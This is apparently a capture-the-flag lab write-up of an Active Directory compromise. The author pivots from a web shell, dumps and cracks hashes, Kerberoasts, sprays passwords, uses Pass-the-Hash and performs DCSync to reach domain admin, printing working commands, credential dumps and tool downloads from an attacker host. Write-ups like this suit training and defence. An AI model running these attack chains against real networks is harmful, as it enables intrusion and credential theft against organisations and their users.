Summary (How?)

We gain initial access to the internal Active Directory environment through a web shell. We begin by enumerating the host and retrieving the first flag located on the administrator’s desktop. Using the compromised host, the web shell, and Ligolo-ng, we pivot into the internal network.

During internal enumeration, we discover a host named MS01. We compromise the local administrator account on this machine using a Pass-the-Hash attack, leveraging NTLM hashes obtained from the initial foothold.

With local administrator access on MS01, we run BloodHound to map potential attack paths. The analysis reveals an interesting user account, tpetty, which holds both Replicating Directory Changes and Replicating Directory Changes All permissions—sufficient for performing a DCSync attack to extract domain admin credentials.

Before executing DCSync, we need tpetty’s credentials. Using secretsdump on MS01, we retrieve tpetty’s cleartext password. With valid credentials in hand, the DCSync attack succeeds, and we obtain the NTLM hashes for domain admin accounts.

Finally, we use Pass-the-Hash with a domain admin hash to gain a shell on DC01, completing the compromise.

Scenario

A team member started an External Penetration Test and was moved to another urgent project before they could finish. The team member was able to find and exploit a file upload vulnerability after performing recon of the externally-facing web server. Before switching projects, our teammate left a password-protected web shell (with the credentials: admin:My_W3bsH3ll_P@ssw0rd!) in place for us to start from in the /uploads directory. As part of this assessment, our client, Inlanefreight, has authorized us to see how far we can take our foothold and is interested to see what types of high-risk issues exist within the AD environment. Leverage the web shell to gain an initial foothold in the internal network. Enumerate the Active Directory environment looking for flaws and misconfigurations to move laterally and ultimately achieve domain compromise.

Enumeration- WEB-WIN01

As it is mentioned in the scenario description, we can access a webshell in out foothold

image.png

Providing the credentials we can access as nt authority\system to WEB-WIN01.

image.png

Something to keep in mind about this webshell is that it creates a new powershell session after executing each command. This is important in the case where you have to execute several commands one after the other, if this is necessary the best is to paste them one after the other from the clipboard.

System - domain

PS> systeminfo | findstr /B /C:"Domain"
Domain:                    INLANEFREIGHT.LOCAL

PS> qwinsta
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
>services                                    0  Disc
 console                                     1  Conn

The domain we are attacking is inlanefreight.local

Network - possible DC found

The machine is dual homed. The AD environment we are targeting is within the 172.16.0.0/16 network.

PS> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet1:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::7502:41d3:bf62:9af4%7
   IPv4 Address. . . . . . . . . . . : 172.16.6.100
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 172.16.6.1

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::10df:5350:73a2:4aa6
   Link-local IPv6 Address . . . . . : fe80::10df:5350:73a2:4aa6%3
   IPv4 Address. . . . . . . . . . . : 10.129.202.242
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:e928%3
                                       10.129.0.1

Another intersting finding is in the ARP table

PS> arp -a

Interface: 10.129.202.242 --- 0x3
  Internet Address      Physical Address      Type
  10.129.0.1            00-50-56-b9-e9-28     dynamic
  10.129.37.11          00-50-56-b0-57-fc     dynamic
  10.129.255.255        ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

Interface: 172.16.6.100 --- 0x7
  Internet Address      Physical Address      Type
  172.16.6.3            00-50-56-b0-30-73     dynamic
  172.16.255.255        ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static

As you can see, the foohold machine has comunicated with the host 172.16.6.3 in the target network in the last minutes and it is in its arp table. This could mean that 172.16.6.3 is the Domain Controller as it is commont to regularly access it in an active directory environment.

LaZagne - several password hashes

As we are NT authority/system in the machine, let’s try to find other credentials or hashes within the machine using LaZagne.

First we have to transfer the lazagne binary into the machine, we will use a python web server

┌──(kali㉿kali)-[~/win-ptt]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then download it from the windows machine

PS> Invoke-WebRequest -uri http://10.10.15.97:8000/lazagne.exe -out lazagne.exe

Finally, we execute it

PS> ./lazagne.exe all

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

[+] System masterkey decrypted for 00bc2fa1-b777-4c77-a1d4-c239e195e7b1
[+] System masterkey decrypted for 61e5b3e0-f9e8-4000-b1cb-b63cbebca443
[+] System masterkey decrypted for db31ea73-1642-47fe-ad17-08556edc5d26
[+] System masterkey decrypted for f0f6363a-ad26-4307-b2de-bc3b3b8d8d02

########## User: SYSTEM ##########

------------------- Hashdump passwords -----------------

Administrator:500:aad3b435b51404eeaad3b435b51404ee:bdaffbfe64f1fc646a3353be1c2c3c99:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

------------------- Lsa_secrets passwords -----------------

[...]

[+] 0 passwords have been found.
For more information launch it again with the -v option

elapsed time = 1.7121267318725586

This result is VERY INTERESTING. We have several hashes we can crack or try pass the hash against other services. Let’s first break down the hashes format to better understand what we are looking at.

The hashes are in the format: username:RID:LM_hash:NTLM_hash::: where

  • username: The name of the user account.
  • RID (Relative Identifier): The last part of the user’s Security Identifier (SID).
    • 500 → default Administrator
    • 501 → Guest
    • 503, 504 → other system accounts
  • LM_hash: The LAN Manager hash of the password.
    • aad3b435b51404eeaad3b435b51404ee is the default blank LM hash, meaning LM is disabled or unused.
  • NTLM_hash: The actual password hash (NT hash). This is where the gold is.
  • The last ::: are unused fields (for potential future use or structure padding).

Let’s crack Guest password usgin hashcat

$> hashcat -m 1000 hashes.txt wordlist.txt

31d6cfe0d16ae931b73c59d7e0c089c0:

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 31d6cfe0d16ae931b73c59d7e0c089c0
Time.Started.....: Sun Apr 13 01:55:47 2025 (0 secs)
Time.Estimated...: Sun Apr 13 01:55:47 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1290.5 kH/s (0.24ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Which means the Guest can authenticate to this host using a blank password.

My goal here was to find a way to RDP and get a better foothold in the network than a webshell. I found two problem wit this

  1. WEB-WIN01 does not listen on port 3389
  2. winrm failed to connect as Guest

First flag

As we are SYSTEM we can easily browse to the Administrator directory and cat the flag.

image.png

domain

From the windows machine I did some credentialed enumeration of the domain.

First we confirmed that the DC is in 172.16.6.3

PS> nslookup -type=SRV _ldap._tcp.dc._msdcs.inlanefreight.local

DNS request timed out.
    timeout was 2 seconds.
Server:  UnKnown
Address:  172.16.6.3

_ldap._tcp.dc._msdcs.inlanefreight.local	SRV service location:
	  priority       = 0
	  weight         = 100
	  port           = 389
	  svr hostname   = DC01.INLANEFREIGHT.LOCAL
DC01.INLANEFREIGHT.LOCAL	internet address = 172.16.6.3

Then I transfered PowerView and enumerated the domain policy

PS> import-module .\PowerView.ps1
 Get-DomainPolicy

Unicode        : @{Unicode=yes}
SystemAccess   : @{MinimumPasswordAge=1; MaximumPasswordAge=42; MinimumPasswordLength=1; PasswordComplexity=0;
                 PasswordHistorySize=24; LockoutBadCount=0; RequireLogonToChangePassword=0;
                 ForceLogoffWhenHourExpire=0; ClearTextPassword=0; LSAAnonymousNameLookup=0}
KerberosPolicy : @{MaxTicketAge=10; MaxRenewAge=7; MaxServiceAge=600; MaxClockSkew=5; TicketValidateClient=1}
Version        : @{signature="$CHICAGO$"; Revision=1}
RegistryValues : @{MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=System.Object[]}
Path           : \\INLANEFREIGHT.LOCAL\sysvol\INLANEFREIGHT.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHI
                 NE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
GPOName        : {31B2F340-016D-11D2-945F-00C04FB984F9}
GPODisplayName : Default Domain Policy

This is a terrible password policy from a sysadmin perspective, but a very juicy one from a pentester perspective. The most interesting bits are:

  • Passwords can be extremely weak because PasswordComplexity=0 disables any character set requirements.
  • Account lockout never triggers because LockoutBadCount=0 disables lockout after failed logins. So unlimited brute force and password spraying 🙂
  • Offline cracking is trivial because MinimumPasswordLength=1 and PasswordComplexity=0 drastically reduce keyspace.

Basically this password policies relies completely on users knowledge of what a secure password is and allows unsecure ones to be part of the system.

Pivot!

Using this webshell to enumerate the domain and getting access to the DC is not enough because, as I mentioned eariler, a new PS session is executed everytime we enter a command, so were we to create a reverse shell or any type of shell connection from other host, It would’ve failed because of this limited web shell.

The goal is clear: I need to get my Kali attack host into the 172.16.0.0/16 network using WEB-WIN01 as pivot host.

image.png

There are several tools we can use in order to achive this, from my personal experience I would say the ligolo-ng is the best one. Look how simple it is. First we transfer the agent.exe to WEB-WIN01.

Then we start the server in our linux host (the first time you use it you’ll have to configure the ligolo interface, it’s very simple, read the docs)

$> sudo ip r add $SUBNET_TO_PIVOT dev ligolo
$> ligolo-proxy -selfcert

Then we execute the agent in the pivot host

./agent.exe -connect $ATTACK_HOST:11601 -ignore-cert

Finally we have to type session in our linux ligolo console, select the one established with the windows host, type start and done! Now we can access the DC as we were in the same network.

If we need to get a connection back from any host in the network, we can add a listener back to our localhost with the following in our linux console

listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp

svc_sql kerberoasting

The next flag required us to kerberoast the the account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit eh accout name as the answer.

To get the flag (which only asks for the username) we have two options.

The first one is using Get-DomainUser from PowerView to retrieve all SPNs in the domain.

PS> import-module .\PowerView.ps1
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

serviceprincipalname                        samaccountname
--------------------                        --------------
adfsconnect/azure01.inlanefreight.local     azureconnect
backupjob/veam001.inlanefreight.local       backupjob
kadmin/changepw                             krbtgt
MSSQLSvc/DEVTEST.inlanefreight.local:1433   sqltest
MSSQLSvc/QA001.inlanefreight.local:1433     sqlqa
MSSQLSvc/SQL-DEV01.inlanefreight.local:1433 sqldev
MSSQLSvc/SQL01.inlanefreight.local:1433     svc_sql
MSSQLSvc/SQL02.inlanefreight.local:1433     sqlprod

The second option is using Invoke-Kerberoast from PowerView along with a TGS for the specified SPN.

First let’s request the TGS to the KDC. This one is stored in memory, so we don’t have to chain the commands

PS> Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.inlanefreight.local:143

Now we can kerberoast this account in order to retrieve its hash

PS> import-module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat

SamAccountName       : svc_sql
DistinguishedName    : CN=svc_sql,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQLSvc/SQL01.inlanefreight.local:1433
TicketByteHexStream  :
Hash                 : <SNIP>

And now let’s crack it using rockyo

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*svc_sql$INLANEFREIGHT.LOCAL$MSSQLSvc/SQL01.inlanefreight.local:1433*$b27681eefa3efa636d53c23ce9203375$7c07aeed5b819e639a5603d08260b1ab1d208916317f015216e4789a8914b0b7af53b916bea9eb79e7f1c7783cb8b49dc451a5e875fd3fee
1c8b5a3006af9fe89b3ee647c92a3ec04d79ebdf14614adfc8045b9c1c04c99200f161118911e6da2e247c6563282edee9e1e8422032c988cb89111816c1dfb9b1d0ddd5a5c52cad6ac9aba884e67714f8894032ad580e47ddd1915877725f9b76d7d278603b424886bf8625d5ce77f032c
d8dfd12a01f77ed3d84db9d3669c832a173674ffda79a026676e7168fe5a8e4beee5ae5c696a3122b42329bc60cdbd7aec5920782906f1cfe16724a1f9265e781b0ef7964d43024d78876877e5bc2b116355e03c577faa29eed9119e557e55b876cd34597a5bf61e08a991393a7319cccb6
48b4275a1a9af1c8bb2aa71cc2f77227a20efec263206fb8b6ded6009aa7334d3f02ffba4bd6cf0062ac719ef88f82ad071b474cc8702f2766fb46a933a4e53f84d72e6bf58838e7da890e1fa93944ebe57367f05b94f1039094cc354d86950c3fc859f1e1d697bf056c62fb9db06e5e612
9ed9f09f6e0e7c5988ccf3567a0b9b49d966d10847affd6ebd1254f48fa98e8d636358df42409dc7f16e8b41d8d24f4e4cd80e8e05a6b47f9f794b16d65b7368b9b78e112d7c8dca856d4a065e506a8aea25acaa3ec23b5e5cdf36e974dba56dcff5e31f31afbfa5c522e510ca63f133bbd
25fe4bec656dce35b8d040af5aecd18e5f111c8535a590cce84b967eab15bfd1ab843a314b19abe6c468c53ed7a4e60655462b4d0c834a76e678698e64ad8c83f1ebcf19a1051fc5abd1b6a9e047ebaddb60648b30d29cb3acfc49bdd8f5b95e2675e5d4fa3f28aa6567a24d634ec9f646c
3df59e11079c0c3fca90eda13f47e3decb779c54e352a4fbf7ee051a67fab3f8d93a6572dca1332ecbfaab86432f0dc3e287d79af01ff879864f5dc435bf95fbff435748ba81181b3aa234f8e915379646526dddf77e16e6913ffb92061fdf713424bd7b7cd20ef2a617ed6dd7d4060cafc
a26f5de3da6e2eb1ff2c10b5ea803913005df876ceab115dcf04e8198c1e5d0e43fab6aa2380200e60e74807fdd11514f0063b9d52479106c7b9f0068214f134cc650195eb488ffc204a7b8280e26558d26c7ab0788871c6ad636fd3eab04ab0e9d5e6edc84866e07897d946e7e897fa605
71f2b06e5f880764df8e16fe704250325e8d40e06cf020e4012b91578f7942e604c2183b220a9ca61708c0a56477a8e8fd747f9a578c5be7bf42aa11d3717158bc7dffeff1d9ed409d5c2ba473d96058f1a76200a9e9a50dc61e068b39041e9cc4512a12ebbc1bb7a353cfa5d60d198cb29
586494b043d921cbcdc0d873ad4a9cf730b36f88ffbe0501072ffa9128744c792670c3376effd702d38fb81c7c75daf2916fe0477874e058fe7f1526a30475090afe51d8854b1280615375f1e8d80b904e766b372d8516c25fc8fcf7d5ec8873d2a3ae9ceeb6d196a7f9492d48dfc2f6d8e
272ca:lucky7

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*svc_sql$INLANEFREIGHT.LOCAL$MSSQLSvc/S...e272ca
Time.Started.....: Sat Apr 12 14:52:59 2025 (0 secs)
Time.Estimated...: Sat Apr 12 14:52:59 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   485.0 kH/s (1.97ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4096/14344385 (0.03%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> oooooo
Hardware.Mon.#1..: Util: 17%

Started: Sat Apr 12 14:52:57 2025
Stopped: Sat Apr 12 14:53:01 2025

We were lucky and found the password lucky7, maybe we can use it to do a password sparying attack and get access to other hosts.

Password Spraying

In order to do a password sapraying attack, we need valid users. For this, I used kerbrute from the windows foothold

PS>  ./kerbrute_Windows.exe userenum -d inlanefreight.local --dc 172.16.6.3 ./jsmith.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 04/12/25 - Ronnie Flathers @ropnop

2025/04/12 23:19:37 >  Using KDC(s):
2025/04/12 23:19:37 >  	172.16.6.3:88
2025/04/12 23:19:37 >  [+] VALID USERNAME:	 [email protected]
<SNIP>
2025/04/12 23:19:45 >  [+] VALID USERNAME:	 [email protected]
2025/04/12 23:19:50 >  Done! Tested 48705 usernames (58 valid) in 13.540 seconds

Here I got 58 valid users, but none of the reused the password lucky7

PS> ./kerbrute_Windows.exe passwordspray -d inlanefreight.local --dc 172.16.6.3  valid_users.txt  lucky7

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 04/12/25 - Ronnie Flathers @ropnop

2025/04/12 23:25:29 >  Using KDC(s):
2025/04/12 23:25:29 >  	172.16.6.3:88
2025/04/12 23:25:29 >  Done! Tested 58 logins (0 successes) in 0.014 seconds

MS01 Admin access

After going down the rabbit hole of password spraying, I decided to focus myself on the next flag, which required getting admin privileges in MS01.

PS> nslookup ms01.inlanefreight.local
DNS request timed out.
timeout was 2 seconds.
Server:  UnKnown
Address:  172.16.6.3

Name:    ms01.inlanefreight.local
Address:  172.16.6.50

Now that we know its IP, we can access it from our Linux host. But before that, I decided to get its SPN, to then realize it wasn’t useful at all, as its explained.

PS> import-module ./PowerView.ps1
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "tapinego/MS01"

Invoke-Kerberoast -OutputFormat Hashcat | findstr tapinego

Id                   : uuid-8135caa1-fb54-4a57-bfc3-6baffb22848a-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 4/13/2025 3:39:15 AM
ValidTo              : 4/13/2025 8:08:20 AM
ServicePrincipalName : tapinego/MS01
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Kerberoasting only works against user accounts that have SPNs assigned. When you try to request a TGS for a computer account (like CN=MS01,CN=Computers,...), the ticket is encrypted with a machine password, which is:

  • Randomly generated
  • 128+ chars
  • Rotated automatically
  • Not crackable in practice

This means that trying a kerberoasting attack against MS01 is not an option even though it has an SPN associated.

More enumeration, maybe there’s a vulnerable service that we can target?

Nmap scan report for 172.16.6.50
Host is up (0.55s latency).

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-04-13T05:53:56+00:00; +1s from scanner time.
| rdp-ntlm-info:
|   Target_Name: INLANEFREIGHT
|   NetBIOS_Domain_Name: INLANEFREIGHT
|   NetBIOS_Computer_Name: MS01
|   DNS_Domain_Name: INLANEFREIGHT.LOCAL
|   DNS_Computer_Name: MS01.INLANEFREIGHT.LOCAL
|   DNS_Tree_Name: INLANEFREIGHT.LOCAL
|   Product_Version: 10.0.17763
|_  System_Time: 2025-04-13T05:53:18+00:00
| ssl-cert: Subject: commonName=MS01.INLANEFREIGHT.LOCAL
| Not valid before: 2025-04-12T05:05:39
|_Not valid after:  2025-10-12T05:05:39
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Maybe the blank password of the Guest user?

┌──(kali㉿kali)-[~/academy-htb/ad-enum-attacks/skills-assessment-part-I]
└─$ impacket-psexec  WORKGROUP/Guest@$MS01
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[-] SMB SessionError: code: 0xc0000072 - STATUS_ACCOUNT_DISABLED - The referenced account is currently disabled and may not be logged on to.

Here I got creative and it worked! Turns out the key was in password reuse, but not as I was expecting. If we look back in our notes, we got an Administrator’s hash using Lazzagne that we couldn’t break using rockyou, so I decided to do a pass the hash attack and see if I was lucky.

┌──(kali㉿kali)-[~/academy-htb/ad-enum-attacks/skills-assessment-part-I]
└─$ impacket-psexec  WORKGROUP/Administrator@$MS01 -hashes aad3b435b51404eeaad3b435b51404ee:bdaffbfe64f1fc646a3353be1c2c3c99
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 172.16.6.50.....
[*] Found writable share ADMIN$
[*] Uploading file WjbboOVQ.exe
[*] Opening SVCManager on 172.16.6.50.....
[*] Creating service Cvym on 172.16.6.50.....
[*] Starting service Cvym.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2628]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32> type c:\Users\Administrator\Desktop\flag.tt^Hxt^H
The filename, directory name, or volume label syntax is incorrect.

C:\Windows\system32> type c:\Users\Administrator\Desktop\flag.txt
solv33dd!

BloodHound enumeration

Our next goal is to get credentials for another usen in the domain, perform a DCSync attack and become domain admins.

In order to do this, let’s strat by using BloodHound to get a clear map fo the Active Directory environment.

First, we transfer it to MS01

PS> Invoke-WebRequest [http://10.10.15.166:8000/SharpHound.exe](http://10.10.15.166:8000/SharpHound.exe) -OutFile SharpHound.exe

Then we execute it and get a .zip file with all the information

PS> .\SharpHound.exe -c All --zipfilename ILFREIGHT
2025-04-12T15:17:26.8011315-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-04-12T15:17:26.8167552-07:00|INFORMATION|Initializing SharpHound at 3:17 PM on 4/12/2025
2025-04-12T15:17:27.1761313-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-04-12T15:17:27.3323824-07:00|INFORMATION|Beginning LDAP search for INLANEFREIGHT.LOCAL
2025-04-12T15:17:57.3948889-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 49 MB RAM
2025-04-12T15:18:15.3011300-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-04-12T15:18:15.4105064-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-04-12T15:18:15.6292625-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2025-04-12T15:18:15.6605096-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2025-04-12T15:18:15.8636324-07:00|INFORMATION|Status: 3626 objects finished (+3626 75.54166)/s -- Using 51 MB RAM
2025-04-12T15:18:15.8636324-07:00|INFORMATION|Enumeration finished in 00:00:48.5284944
2025-04-12T15:18:16.0511317-07:00|INFORMATION|SharpHound Enumeration Completed at 3:18 PM on 4/12/2025! Happy Graphing!

Principals with DCSync Rights

Lucky me, I executed the “Find Principals with DCSync Rights” and found everything we need to complete this assessment. Let’s see

image.png

Turns out the user we were looking for is tpetty, as it can perform a DCSync attack, which is the next step.

DCSync - domain control

What is DCSync?

DCSync is a technique for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data. This allows an attacker to mimic a Domain Controller to retrieve user NTLM password hashes.

The crux of the attack is requesting a Domain Controller to replicate passwords via the DS-Replication-Get-Changes-All extended right. This is an extended access control right within AD, which allows for the replication of secret data.

To perform this attack, you must have control over an account that has the rights to perform domain replication (a user with the Replicating Directory Changes and Replicating Directory Changes All permissions set). Domain/Enterprise Admins and default domain administrators have this right by default.

Looking for tpetty’s password

This means that we are pretty close, but there’s something crucial missing: tpetty’s credentials. Without them we cannot perform such attack.

I decided to try luck again, and it turned out we could use secretsdump module from impacket to retrieve this password.

According to wadcoms

Impacket’s secretsdump.py will perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM and LSA secrets from registries, dumping NTLM hashes, plaintext credentials, and kerberos keys, and dumping NTDS.dit.

So let’s give it a try


┌──(kali㉿kali)-[~/academy-htb/ad-enum-attacks/skills-assessment-part-I]
└─$ impacket-secretsdump  WORKGROUP/Administrator@$MS01 -hashes aad3b435b51404eeaad3b435b51404ee:bdaffbfe64f1fc646a3353be1c2c3c99

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
^_[*] Target system bootKey: 0x9521a9e7c65245ab8cdd792e7f6d20df
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[...]

[*] Dumping cached domain logon information (domain/username:hash)
INLANEFREIGHT.LOCAL/tpetty:$DCC2$10240#tpetty#685decd67a67f5b6e45a182ed076d801: (2022-04-29 17:46:50)
INLANEFREIGHT.LOCAL/svc_sql:$DCC2$10240#svc_sql#acc5441d637ce6aabf3a3d9d4f8137fb: (2022-04-12 02:51:02)
INLANEFREIGHT.LOCAL/Administrator:$DCC2$10240#Administrator#9553faad97c2767127df83980f3ac245: (2022-04-20 10:25:07)

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
[...]

[*] DefaultPassword
INLANEFREIGHT\tpetty:Susolv33ddeR

[*] DPAPI_SYSTEM
[...]
[*] Cleaning up...
[*] Stopping service RemoteRegistry

Excellent. INLANEFREIGHT\tpetty:Sup3rS3cur3D0m@inU2eR

Next, we perform the DCSync attack using the same module from impacket with the -just-dc option, specifying the outfile of the hashes, and the domain controller

┌──(kali㉿kali)-[~/academy-htb/ad-enum-attacks/skills-assessment-part-I]
└─$ impacket-secretsdump -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/[email protected]
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:27dedb1dab4d8545c6e1c66fba077da0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6dbd63f4a0e7c8b221d61f265c4a08a7:::
inlanefreight.local\avazquez:1714:aad3b435b51404eeaad3b435b51404ee:762cbc5ea2edfca

We have the Administrator’s hash, we could try to crack it, but let’s first try a pass the hash attack since it is an NLTM hash.

┌──(kali㉿kali)-[~/academy-htb/ad-enum-attacks/skills-assessment-part-I]
└─$ impacket-psexec WORKGROUP/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:27dedb1dab4d8545c6e1c66fba077da0
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 172.16.6.3.....
[*] Found writable share ADMIN$
[*] Uploading file GigIFond.exe
[*] Opening SVCManager on 172.16.6.3.....
[*] Creating service GpQb on 172.16.6.3.....
[*] Starting service GpQb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type c:\Users\Administrator\Desktop\flag.txt
sovl3d!

Hope you enjoyed!